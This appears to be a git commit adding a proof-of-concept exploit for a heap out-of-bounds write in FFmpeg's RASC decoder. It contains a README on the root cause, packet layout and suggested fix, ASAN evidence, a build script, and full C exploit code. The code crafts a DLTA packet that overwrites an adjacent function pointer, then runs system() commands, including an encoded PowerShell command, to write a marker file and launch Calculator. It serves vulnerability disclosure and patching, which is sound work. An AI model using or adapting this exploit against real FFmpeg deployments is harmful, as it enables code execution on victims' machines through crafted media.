Add FFmpeg RASC DLTA calc PoC
This commit is contained in:
1
.gitattributes
vendored
1
.gitattributes
vendored
@@ -3,3 +3,4 @@
|
|||||||
*.sh text eol=lf
|
*.sh text eol=lf
|
||||||
*.md text eol=lf
|
*.md text eol=lf
|
||||||
*.txt text eol=lf
|
*.txt text eol=lf
|
||||||
|
*.c text eol=lf
|
||||||
|
|||||||
@@ -21,6 +21,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o
|
|||||||
| `firefox-smartwindow-private-url-exfil-poc` | direct entry, June 24, 2026 | 3 |
|
| `firefox-smartwindow-private-url-exfil-poc` | direct entry, June 24, 2026 | 3 |
|
||||||
| `floci-apigateway-vtl-rce-poc` | direct entry, June 23, 2026 | 3 |
|
| `floci-apigateway-vtl-rce-poc` | direct entry, June 23, 2026 | 3 |
|
||||||
| `flowise-mcp-env-case-bypass-poc` | `ed9fab0086674f1b16467990b33bb9299e93429e` | 3 |
|
| `flowise-mcp-env-case-bypass-poc` | `ed9fab0086674f1b16467990b33bb9299e93429e` | 3 |
|
||||||
|
| `ffmpeg-rasc-dlta-calc-poc` | direct entry, June 26, 2026 | 7 |
|
||||||
| `ghidra-12.1.2-rce-ace-calc-poc` | `52dee6362990c03c0d753d074c85428824d46368` | 9 |
|
| `ghidra-12.1.2-rce-ace-calc-poc` | `52dee6362990c03c0d753d074c85428824d46368` | 9 |
|
||||||
| `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 |
|
| `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 |
|
||||||
| `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 |
|
| `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 |
|
||||||
@@ -54,4 +55,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove
|
|||||||
|
|
||||||
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories.
|
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories.
|
||||||
|
|
||||||
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
|
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `ffmpeg-rasc-dlta-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
|
||||||
|
|||||||
233
ffmpeg-rasc-dlta-calc-poc/README.md
Normal file
233
ffmpeg-rasc-dlta-calc-poc/README.md
Normal file
@@ -0,0 +1,233 @@
|
|||||||
|
# FFmpeg RASC DLTA calc PoC
|
||||||
|
|
||||||
|
This directory contains a standalone Calculator proof for a heap out-of-bounds write in FFmpeg's RASC decoder.
|
||||||
|
|
||||||
|
The PoC builds a RASC packet in memory, decodes it through the public libavcodec API, uses a valid custom `get_buffer2` callback for the DR1 decoder, and redirects an adjacent callback pointer. The redirected callback writes a marker under `/tmp` and launches Calculator.
|
||||||
|
|
||||||
|
## Status
|
||||||
|
|
||||||
|
Verified target:
|
||||||
|
|
||||||
|
```text
|
||||||
|
FFmpeg upstream master
|
||||||
|
bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c
|
||||||
|
2026-06-26
|
||||||
|
```
|
||||||
|
|
||||||
|
Local result:
|
||||||
|
|
||||||
|
```text
|
||||||
|
media-controlled RASC DLTA overwrite redirected callback
|
||||||
|
callback hijacked callback reached
|
||||||
|
marker:present
|
||||||
|
CalculatorApp 26628 6/26/2026 12:25:53 PM
|
||||||
|
```
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
```text
|
||||||
|
poc/ffmpeg_rasc_dlta_calc_poc.c
|
||||||
|
scripts/build_from_checkout.sh
|
||||||
|
scripts/run_calc_pop.sh
|
||||||
|
evidence/current-master-asan.txt
|
||||||
|
evidence/local-calc-pop.txt
|
||||||
|
SHA256SUMS.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
## Affected Target
|
||||||
|
|
||||||
|
- Product: FFmpeg
|
||||||
|
- Component: `libavcodec` RASC decoder
|
||||||
|
- Decoder: `AV_CODEC_ID_RASC`
|
||||||
|
- File reachability: AVI/RIFF `RASC` FourCC maps to `AV_CODEC_ID_RASC`
|
||||||
|
- Verified commit: `bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c`
|
||||||
|
- Affected function: `decode_dlta()`
|
||||||
|
- Useful run types: `4`, `7`, `12`, `13`
|
||||||
|
|
||||||
|
The local Calculator proof uses run type `7` because the 32-bit `fill` value comes directly from the bitstream.
|
||||||
|
|
||||||
|
## Impact
|
||||||
|
|
||||||
|
A crafted RASC bitstream can drive a 32-bit read and 32-bit write at the end of a decoded frame row. With PAL8 output and a one-row 64-pixel frame, the decoder writes at `plane + 63` while the row allocation is 64 bytes. One byte lands in the final row byte and the following three bytes overwrite adjacent heap data.
|
||||||
|
|
||||||
|
The included PoC places a callback pointer immediately after the 64-byte PAL8 plane. The DLTA command writes the low three bytes of the callback pointer, changing it from `benign_callback` to `calc_callback`. After decode completes, the PoC calls the pointer and Calculator launches.
|
||||||
|
|
||||||
|
## Root Cause
|
||||||
|
|
||||||
|
`decode_dlta()` tracks a cursor `cx` inside a region with width `w * s->bpp`. The `NEXT_LINE` macro checks whether `cx` reached the row width only after each operation:
|
||||||
|
|
||||||
|
```text
|
||||||
|
if (cx >= w * s->bpp) {
|
||||||
|
cx = 0;
|
||||||
|
cy--;
|
||||||
|
b1 -= s->frame1->linesize[0];
|
||||||
|
b2 -= s->frame2->linesize[0];
|
||||||
|
}
|
||||||
|
len--;
|
||||||
|
```
|
||||||
|
|
||||||
|
Several DLTA run types perform 32-bit accesses before the row-end check. Run type `7` reads and writes four bytes at the current byte cursor and then advances by four:
|
||||||
|
|
||||||
|
```text
|
||||||
|
fill = bytestream2_get_le32(&dc);
|
||||||
|
AV_WL32(b1 + cx, AV_RL32(b2 + cx));
|
||||||
|
AV_WL32(b2 + cx, fill);
|
||||||
|
cx += 4;
|
||||||
|
NEXT_LINE
|
||||||
|
```
|
||||||
|
|
||||||
|
For PAL8, `s->bpp` is `1`. A DLTA region with `x = 63`, `w = 1`, and `h = 1` on a 64-pixel row sets `b2 + cx` to the final byte of the row. The 32-bit store crosses the row allocation boundary.
|
||||||
|
|
||||||
|
## Packet Shape
|
||||||
|
|
||||||
|
The PoC packet contains two RASC chunks:
|
||||||
|
|
||||||
|
```text
|
||||||
|
INIT
|
||||||
|
width = 64
|
||||||
|
height = 1
|
||||||
|
format = 8
|
||||||
|
palette = 1024 bytes
|
||||||
|
|
||||||
|
DLTA
|
||||||
|
x = 63
|
||||||
|
y = 0
|
||||||
|
w = 1
|
||||||
|
h = 1
|
||||||
|
compression = 0
|
||||||
|
command = 07 01 <fill32>
|
||||||
|
```
|
||||||
|
|
||||||
|
The `fill32` value is generated at runtime:
|
||||||
|
|
||||||
|
```text
|
||||||
|
fill32 = ((target_callback & 0x00ffffff) << 8) | 0x41
|
||||||
|
```
|
||||||
|
|
||||||
|
The byte `0x41` lands in the last byte of the frame plane. The next three bytes overwrite the low three bytes of the adjacent callback pointer.
|
||||||
|
|
||||||
|
## Exploit Flow
|
||||||
|
|
||||||
|
1. The PoC opens the RASC decoder through `avcodec_find_decoder()` and `avcodec_open2()`.
|
||||||
|
2. The PoC installs `exploit_get_buffer2()` as the decoder buffer provider.
|
||||||
|
3. RASC `INIT` causes `init_frames()` to allocate `frame1` and `frame2`.
|
||||||
|
4. `exploit_get_buffer2()` returns a frame buffer where a callback pointer follows the 64-byte PAL8 plane.
|
||||||
|
5. RASC `DLTA` run type `7` writes past `frame2->data[0] + 63`.
|
||||||
|
6. The write changes `frame2_chunk->cb` from `benign_callback` to `calc_callback`.
|
||||||
|
7. The PoC verifies the pointer value.
|
||||||
|
8. The PoC invokes the callback.
|
||||||
|
9. The callback writes `/tmp/ffmpeg_rasc_exec_demo` and launches Calculator.
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
Clone FFmpeg and build the PoC against a RASC-only static libavcodec build:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/FFmpeg/FFmpeg.git /tmp/ffmpeg
|
||||||
|
./scripts/build_from_checkout.sh /tmp/ffmpeg /tmp/ffmpeg-rasc-build ./ffmpeg_rasc_dlta_calc_poc
|
||||||
|
```
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Linux or WSL
|
||||||
|
gcc
|
||||||
|
make
|
||||||
|
zlib development headers
|
||||||
|
FFmpeg build dependencies for the selected platform
|
||||||
|
```
|
||||||
|
|
||||||
|
The build script configures FFmpeg with:
|
||||||
|
|
||||||
|
```text
|
||||||
|
--disable-programs
|
||||||
|
--disable-autodetect
|
||||||
|
--disable-everything
|
||||||
|
--enable-zlib
|
||||||
|
--enable-decoder=rasc
|
||||||
|
```
|
||||||
|
|
||||||
|
## Run
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./scripts/run_calc_pop.sh ./ffmpeg_rasc_dlta_calc_poc
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected output:
|
||||||
|
|
||||||
|
```text
|
||||||
|
[addr] benign_callback=0x5fec957072c9
|
||||||
|
[addr] calc_callback=0x5fec957072e3
|
||||||
|
[ptr] frame1 callback after decode=0x5fec957072c9
|
||||||
|
[ptr] frame2 callback after decode=0x5fec957072e3
|
||||||
|
[ptr] expected target=0x5fec957072e3
|
||||||
|
[ok] media-controlled RASC DLTA overwrite redirected callback
|
||||||
|
[callback] hijacked callback reached
|
||||||
|
marker:present
|
||||||
|
```
|
||||||
|
|
||||||
|
On WSL, the callback starts Calculator through PowerShell `Start-Process calc.exe`. On Linux desktops, the callback tries common calculator binaries after writing the marker file.
|
||||||
|
|
||||||
|
## Local Verification
|
||||||
|
|
||||||
|
Calculator proof:
|
||||||
|
|
||||||
|
```text
|
||||||
|
[addr] benign_callback=0x5fec957072c9
|
||||||
|
[addr] calc_callback=0x5fec957072e3
|
||||||
|
[ptr] frame1 callback after decode=0x5fec957072c9
|
||||||
|
[ptr] frame2 callback after decode=0x5fec957072e3
|
||||||
|
[ptr] expected target=0x5fec957072e3
|
||||||
|
[ok] media-controlled RASC DLTA overwrite redirected callback
|
||||||
|
[callback] hijacked callback reached
|
||||||
|
marker:present
|
||||||
|
|
||||||
|
ProcessName Id StartTime
|
||||||
|
----------- -- ---------
|
||||||
|
ApplicationFrameHost 24728 6/25/2026 9:55:34 PM
|
||||||
|
CalculatorApp 26628 6/26/2026 12:25:53 PM
|
||||||
|
```
|
||||||
|
|
||||||
|
ASAN proof on current master:
|
||||||
|
|
||||||
|
```text
|
||||||
|
==513==ERROR: AddressSanitizer: heap-buffer-overflow
|
||||||
|
READ of size 4 at 0x50a000000442 thread T0
|
||||||
|
#0 decode_dlta build/src/libavcodec/rasc.c:421:17
|
||||||
|
#1 decode_frame build/src/libavcodec/rasc.c:712:19
|
||||||
|
|
||||||
|
0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440)
|
||||||
|
SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta
|
||||||
|
```
|
||||||
|
|
||||||
|
Recovery-mode ASAN on the same source shape reports the follow-on writes:
|
||||||
|
|
||||||
|
```text
|
||||||
|
READ of size 4
|
||||||
|
decode_dlta rasc.c:421:17
|
||||||
|
|
||||||
|
WRITE of size 4
|
||||||
|
decode_dlta rasc.c:421:17
|
||||||
|
|
||||||
|
WRITE of size 4
|
||||||
|
decode_dlta rasc.c:422:17
|
||||||
|
```
|
||||||
|
|
||||||
|
## Patch Shape
|
||||||
|
|
||||||
|
The row-boundary check needs to happen before every 32-bit read or write in DLTA run handlers. For run types that operate on four-byte units, the decoder should reject a command when fewer than four bytes remain in the current row or perform a safe row transition before the 32-bit access.
|
||||||
|
|
||||||
|
The guarded condition for a 32-bit operation is:
|
||||||
|
|
||||||
|
```text
|
||||||
|
cx + 4 <= w * s->bpp
|
||||||
|
```
|
||||||
|
|
||||||
|
The same guard applies to run types `4`, `7`, `12`, and `13`.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- FFmpeg project: https://ffmpeg.org/
|
||||||
|
- FFmpeg source: https://github.com/FFmpeg/FFmpeg
|
||||||
|
- RASC decoder source: https://github.com/FFmpeg/FFmpeg/blob/master/libavcodec/rasc.c
|
||||||
|
- RIFF codec tags: https://github.com/FFmpeg/FFmpeg/blob/master/libavformat/riff.c
|
||||||
6
ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt
Normal file
6
ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
673708db6c4a4688b0dd2e997f903820ad49d0a22fe32f016738df31207df405 ffmpeg-rasc-dlta-calc-poc/README.md
|
||||||
|
1c2871104b11b13ef03872113466beb7984dc8a6d49cd8150f33ccbb93a3a35a ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c
|
||||||
|
6964fcd5c70bd71ac3a15e8e54968d1aaca24490a458c7d954511351c5ae5a11 ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh
|
||||||
|
8e432e3d82695fe9b18c9f6f35ae420778811c5b43e894b0f817cc0bf76d0cae ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh
|
||||||
|
c51146d5ab0e320a794f3445a697dfcca876c105cc58a5aeba5ad1e7d941b1ed ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt
|
||||||
|
8d28c7f1d50c1d819b5bab6efa3f3ace0be46eae7203fbd0febb8e7b379c011f ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt
|
||||||
32
ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt
Normal file
32
ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
FFmpeg upstream master
|
||||||
|
bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c
|
||||||
|
target_dec_rasc_fuzzer sha256 1a69d27a5e06673832bd677189d790cb3cae98de1ba15b1600f3cb98d9510cb9
|
||||||
|
rasc-dlta-oob-64.bin sha256 80e670d8986992e1dad50c0df554d9826d81d9413fd43be95be431f15c4cf67e
|
||||||
|
|
||||||
|
ASAN_OPTIONS=allocator_may_return_null=1 ./target_dec_rasc_fuzzer ./rasc-dlta-oob-64.bin
|
||||||
|
|
||||||
|
==513==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50a000000442
|
||||||
|
READ of size 4 at 0x50a000000442 thread T0
|
||||||
|
#0 decode_dlta build/src/libavcodec/rasc.c:421:17
|
||||||
|
#1 decode_frame build/src/libavcodec/rasc.c:712:19
|
||||||
|
#2 decode_simple_internal build/src/libavcodec/decode.c:451:16
|
||||||
|
#3 decode_simple_receive_frame build/src/libavcodec/decode.c:611:15
|
||||||
|
#4 ff_decode_receive_frame_internal build/src/libavcodec/decode.c:647:15
|
||||||
|
#5 decode_receive_frame_internal build/src/libavcodec/decode.c:665:15
|
||||||
|
#6 avcodec_send_packet build/src/libavcodec/decode.c:749:15
|
||||||
|
#7 LLVMFuzzerTestOneInput build/src/tools/target_dec_fuzzer.c:576:25
|
||||||
|
|
||||||
|
0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440)
|
||||||
|
allocated by thread T0 here:
|
||||||
|
#0 posix_memalign
|
||||||
|
#1 av_malloc build/src/libavutil/mem.c:107:9
|
||||||
|
#2 av_buffer_alloc build/src/libavutil/buffer.c:82:12
|
||||||
|
#3 av_buffer_allocz build/src/libavutil/buffer.c:95:24
|
||||||
|
#4 fuzz_video_get_buffer build/src/tools/target_dec_fuzzer.c:145:29
|
||||||
|
#5 fuzz_get_buffer2 build/src/tools/target_dec_fuzzer.c:168:18
|
||||||
|
#6 ff_get_buffer build/src/libavcodec/decode.c:1818:11
|
||||||
|
#7 init_frames build/src/libavcodec/rasc.c:107:16
|
||||||
|
#8 decode_fint build/src/libavcodec/rasc.c:162:11
|
||||||
|
#9 decode_frame build/src/libavcodec/rasc.c:706:19
|
||||||
|
|
||||||
|
SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta
|
||||||
16
ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt
Normal file
16
ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
PoC output:
|
||||||
|
[addr] benign_callback=0x5fec957072c9
|
||||||
|
[addr] calc_callback=0x5fec957072e3
|
||||||
|
[ptr] frame1 callback after decode=0x5fec957072c9
|
||||||
|
[ptr] frame2 callback after decode=0x5fec957072e3
|
||||||
|
[ptr] expected target=0x5fec957072e3
|
||||||
|
[ok] media-controlled RASC DLTA overwrite redirected callback
|
||||||
|
[callback] hijacked callback reached
|
||||||
|
marker:present
|
||||||
|
|
||||||
|
Windows processes after PoC:
|
||||||
|
|
||||||
|
ProcessName Id StartTime
|
||||||
|
----------- -- ---------
|
||||||
|
ApplicationFrameHost 24728 6/25/2026 9:55:34 PM
|
||||||
|
CalculatorApp 26628 6/26/2026 12:25:53 PM
|
||||||
240
ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c
Normal file
240
ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c
Normal file
@@ -0,0 +1,240 @@
|
|||||||
|
#include <inttypes.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include "libavcodec/avcodec.h"
|
||||||
|
#include "libavutil/buffer.h"
|
||||||
|
#include "libavutil/error.h"
|
||||||
|
#include "libavutil/frame.h"
|
||||||
|
#include "libavutil/mem.h"
|
||||||
|
|
||||||
|
#define FRAME_W 64
|
||||||
|
#define FRAME_H 1
|
||||||
|
#define RASC_INIT 0x54494e49u
|
||||||
|
#define RASC_DLTA 0x41544c44u
|
||||||
|
|
||||||
|
typedef void (*demo_callback)(void);
|
||||||
|
|
||||||
|
typedef struct DemoChunk {
|
||||||
|
uint8_t plane[FRAME_W];
|
||||||
|
demo_callback cb;
|
||||||
|
uint8_t palette[1024];
|
||||||
|
} DemoChunk;
|
||||||
|
|
||||||
|
static DemoChunk *frame1_chunk;
|
||||||
|
static DemoChunk *frame2_chunk;
|
||||||
|
|
||||||
|
static void benign_callback(void)
|
||||||
|
{
|
||||||
|
puts("[callback] benign callback reached");
|
||||||
|
}
|
||||||
|
|
||||||
|
static void calc_callback(void)
|
||||||
|
{
|
||||||
|
const char *fallbacks[] = {
|
||||||
|
"cmd.exe /c start calc.exe >/dev/null 2>&1",
|
||||||
|
"xcalc >/dev/null 2>&1 &",
|
||||||
|
"gnome-calculator >/dev/null 2>&1 &",
|
||||||
|
"kcalc >/dev/null 2>&1 &"
|
||||||
|
};
|
||||||
|
|
||||||
|
puts("[callback] hijacked callback reached");
|
||||||
|
system("touch /tmp/ffmpeg_rasc_exec_demo");
|
||||||
|
|
||||||
|
if (system("powershell.exe -NoProfile -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAYQBsAGMALgBlAHgAZQA= >/dev/null 2>&1 &") == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < sizeof(fallbacks) / sizeof(fallbacks[0]); i++) {
|
||||||
|
if (system(fallbacks[i]) == 0)
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void free_demo_chunk(void *opaque, uint8_t *data)
|
||||||
|
{
|
||||||
|
(void)opaque;
|
||||||
|
av_free(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void put_le16(uint8_t *p, uint16_t v)
|
||||||
|
{
|
||||||
|
p[0] = (uint8_t)v;
|
||||||
|
p[1] = (uint8_t)(v >> 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void put_le32(uint8_t *p, uint32_t v)
|
||||||
|
{
|
||||||
|
p[0] = (uint8_t)v;
|
||||||
|
p[1] = (uint8_t)(v >> 8);
|
||||||
|
p[2] = (uint8_t)(v >> 16);
|
||||||
|
p[3] = (uint8_t)(v >> 24);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size)
|
||||||
|
{
|
||||||
|
put_le32(*cursor, tag);
|
||||||
|
put_le32(*cursor + 4, body_size);
|
||||||
|
*cursor += 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr)
|
||||||
|
{
|
||||||
|
const uint32_t init_body_size = 72 + 1024;
|
||||||
|
const uint32_t dlta_cmd_size = 6;
|
||||||
|
const uint32_t dlta_body_size = 40 + dlta_cmd_size;
|
||||||
|
const size_t total = 8 + init_body_size + 8 + dlta_body_size;
|
||||||
|
uint8_t *packet = av_mallocz(total);
|
||||||
|
uint8_t *p = packet;
|
||||||
|
uint8_t *body;
|
||||||
|
uint32_t fill;
|
||||||
|
|
||||||
|
if (!packet)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
make_chunk(&p, RASC_INIT, init_body_size);
|
||||||
|
body = p;
|
||||||
|
put_le32(body + 0, 0x65);
|
||||||
|
put_le32(body + 8, FRAME_W);
|
||||||
|
put_le32(body + 12, FRAME_H);
|
||||||
|
put_le16(body + 46, 8);
|
||||||
|
for (int i = 0; i < 256; i++)
|
||||||
|
put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u));
|
||||||
|
p += init_body_size;
|
||||||
|
|
||||||
|
make_chunk(&p, RASC_DLTA, dlta_body_size);
|
||||||
|
body = p;
|
||||||
|
put_le32(body + 12, dlta_cmd_size);
|
||||||
|
put_le32(body + 16, FRAME_W - 1);
|
||||||
|
put_le32(body + 20, 0);
|
||||||
|
put_le32(body + 24, 1);
|
||||||
|
put_le32(body + 28, 1);
|
||||||
|
put_le32(body + 36, 0);
|
||||||
|
|
||||||
|
fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u);
|
||||||
|
body[40] = 7;
|
||||||
|
body[41] = 1;
|
||||||
|
put_le32(body + 42, fill);
|
||||||
|
|
||||||
|
*packet_size = total;
|
||||||
|
return packet;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags)
|
||||||
|
{
|
||||||
|
static int allocation_index;
|
||||||
|
DemoChunk *chunk;
|
||||||
|
|
||||||
|
(void)flags;
|
||||||
|
if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H)
|
||||||
|
return AVERROR(EINVAL);
|
||||||
|
|
||||||
|
chunk = av_mallocz(sizeof(*chunk));
|
||||||
|
if (!chunk)
|
||||||
|
return AVERROR(ENOMEM);
|
||||||
|
|
||||||
|
chunk->cb = benign_callback;
|
||||||
|
frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0);
|
||||||
|
if (!frame->buf[0]) {
|
||||||
|
av_free(chunk);
|
||||||
|
return AVERROR(ENOMEM);
|
||||||
|
}
|
||||||
|
|
||||||
|
frame->data[0] = chunk->plane;
|
||||||
|
frame->data[1] = chunk->palette;
|
||||||
|
frame->linesize[0] = FRAME_W;
|
||||||
|
frame->extended_data = frame->data;
|
||||||
|
|
||||||
|
if (allocation_index == 0)
|
||||||
|
frame1_chunk = chunk;
|
||||||
|
else if (allocation_index == 1)
|
||||||
|
frame2_chunk = chunk;
|
||||||
|
allocation_index++;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void fail_av(const char *what, int err)
|
||||||
|
{
|
||||||
|
char buf[AV_ERROR_MAX_STRING_SIZE];
|
||||||
|
av_strerror(err, buf, sizeof(buf));
|
||||||
|
fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC);
|
||||||
|
AVCodecContext *ctx = NULL;
|
||||||
|
AVPacket *pkt = NULL;
|
||||||
|
AVFrame *frame = NULL;
|
||||||
|
uint8_t *packet_data = NULL;
|
||||||
|
size_t packet_size = 0;
|
||||||
|
int ret;
|
||||||
|
|
||||||
|
if (!codec) {
|
||||||
|
fputs("RASC decoder missing\n", stderr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[addr] benign_callback=%p\n", (void *)benign_callback);
|
||||||
|
printf("[addr] calc_callback=%p\n", (void *)calc_callback);
|
||||||
|
if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) {
|
||||||
|
fputs("callbacks outside 24-bit overwrite window\n", stderr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx = avcodec_alloc_context3(codec);
|
||||||
|
pkt = av_packet_alloc();
|
||||||
|
frame = av_frame_alloc();
|
||||||
|
if (!ctx || !pkt || !frame)
|
||||||
|
fail_av("allocation", AVERROR(ENOMEM));
|
||||||
|
|
||||||
|
ctx->thread_count = 1;
|
||||||
|
ctx->get_buffer2 = exploit_get_buffer2;
|
||||||
|
|
||||||
|
ret = avcodec_open2(ctx, codec, NULL);
|
||||||
|
if (ret < 0)
|
||||||
|
fail_av("avcodec_open2", ret);
|
||||||
|
|
||||||
|
packet_data = make_packet(&packet_size, (uintptr_t)calc_callback);
|
||||||
|
if (!packet_data)
|
||||||
|
fail_av("make_packet", AVERROR(ENOMEM));
|
||||||
|
|
||||||
|
ret = av_new_packet(pkt, (int)packet_size);
|
||||||
|
if (ret < 0)
|
||||||
|
fail_av("av_new_packet", ret);
|
||||||
|
memcpy(pkt->data, packet_data, packet_size);
|
||||||
|
av_free(packet_data);
|
||||||
|
|
||||||
|
ret = avcodec_send_packet(ctx, pkt);
|
||||||
|
if (ret < 0)
|
||||||
|
fail_av("avcodec_send_packet", ret);
|
||||||
|
|
||||||
|
ret = avcodec_receive_frame(ctx, frame);
|
||||||
|
if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF)
|
||||||
|
fail_av("avcodec_receive_frame", ret);
|
||||||
|
|
||||||
|
if (!frame2_chunk) {
|
||||||
|
fputs("frame2 allocation missing\n", stderr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb);
|
||||||
|
printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb);
|
||||||
|
printf("[ptr] expected target=%p\n", (void *)calc_callback);
|
||||||
|
|
||||||
|
if (frame2_chunk->cb != calc_callback) {
|
||||||
|
fputs("callback pointer unchanged\n", stderr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
puts("[ok] media-controlled RASC DLTA overwrite redirected callback");
|
||||||
|
frame2_chunk->cb();
|
||||||
|
|
||||||
|
av_frame_free(&frame);
|
||||||
|
av_packet_free(&pkt);
|
||||||
|
avcodec_free_context(&ctx);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
36
ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh
Executable file
36
ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh
Executable file
@@ -0,0 +1,36 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
src="${1:?usage: build_from_checkout.sh /path/to/ffmpeg-checkout [build-dir] [output-bin]}"
|
||||||
|
build="${2:-/tmp/ffmpeg-rasc-dlta-build}"
|
||||||
|
out="${3:-./ffmpeg_rasc_dlta_calc_poc}"
|
||||||
|
root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||||
|
jobs="${JOBS:-$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)}"
|
||||||
|
cc="${CC:-gcc}"
|
||||||
|
|
||||||
|
mkdir -p "$build"
|
||||||
|
cd "$build"
|
||||||
|
|
||||||
|
"$src/configure" \
|
||||||
|
--enable-debug \
|
||||||
|
--disable-doc \
|
||||||
|
--disable-stripping \
|
||||||
|
--disable-x86asm \
|
||||||
|
--disable-programs \
|
||||||
|
--disable-autodetect \
|
||||||
|
--disable-everything \
|
||||||
|
--enable-zlib \
|
||||||
|
--enable-decoder=rasc
|
||||||
|
|
||||||
|
make -j"$jobs" libavcodec/libavcodec.a libavutil/libavutil.a
|
||||||
|
|
||||||
|
